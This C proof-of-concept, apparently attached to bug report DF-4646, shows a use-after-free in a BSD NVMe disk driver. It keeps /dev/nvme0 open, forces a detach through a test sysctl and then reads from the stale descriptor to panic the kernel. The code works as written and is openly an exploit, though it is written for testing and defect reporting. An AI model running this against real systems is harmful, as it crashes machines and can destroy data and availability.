DF-4646 / nvzombie.c
/* * nvzombie.c -- DF-4646 PoC (nvme_disk.c zombie-cdev strategy UAF). * * TEST ONLY. * * Proves: an open descriptor on /dev/nvme0 keeps the cdev (and its * si_drv1 -> nvme_softns_t) resolvable after the driver has detached * and kfree()'d the softns. A read() issued AFTER the teardown has * fully completed dispatches nvme_strategy() on freed memory -- * deterministically, no timing race required. * * Steps: * 1. open /dev/nvme0 (keep fd) * 2. trigger nvme_pci_detach via hw.nvmebang.action=1 * 3. sleep long enough for the FULL teardown (nsc kfree, subqueues * freed + bzero'd, admin queue freed) * 4. pread(fd) -> nvme_strategy -> nvme_strategy_core on freed nsc * -> nvme_get_request on bzero'd queue -> % nqe == 0x0 -> div0 * panic (or wild-pointer UAF on freed sc). * * Expected: kernel panic (integer divide fault / fatal trap) in * nvme_get_request or nvme_strategy_core; guest drops to DDB. */ #include <sys/types.h> #include <sys/fcntl.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <err.h> int main(int argc, char **argv) { char buf[4096]; ssize_t n; int fd; int wait = 12; if (argc > 1) wait = atoi(argv[1]); fd = open("/dev/nvme0", O_RDONLY); if (fd < 0) err(1, "open /dev/nvme0"); printf("DF4646: fd=%d open on /dev/nvme0, triggering detach...\n", fd); fflush(stdout); if (system("sysctl hw.nvmebang.action=1") != 0) warnx("nvmebang sysctl failed (module loaded?)"); printf("DF4646: detach issued; sleeping %ds for full teardown " "(nsc kfree + queue free/bzero)\n", wait); fflush(stdout); sleep(wait); printf("DF4646: issuing pread on zombie cdev -> nvme_strategy " "on freed softns\n"); fflush(stdout); n = pread(fd, buf, sizeof(buf), 0); printf("DF4646: pread returned %zd (errno=%d) -- NO PANIC; " "zombie dispatch was absorbed\n", n, errno); fflush(stdout); return (0); } |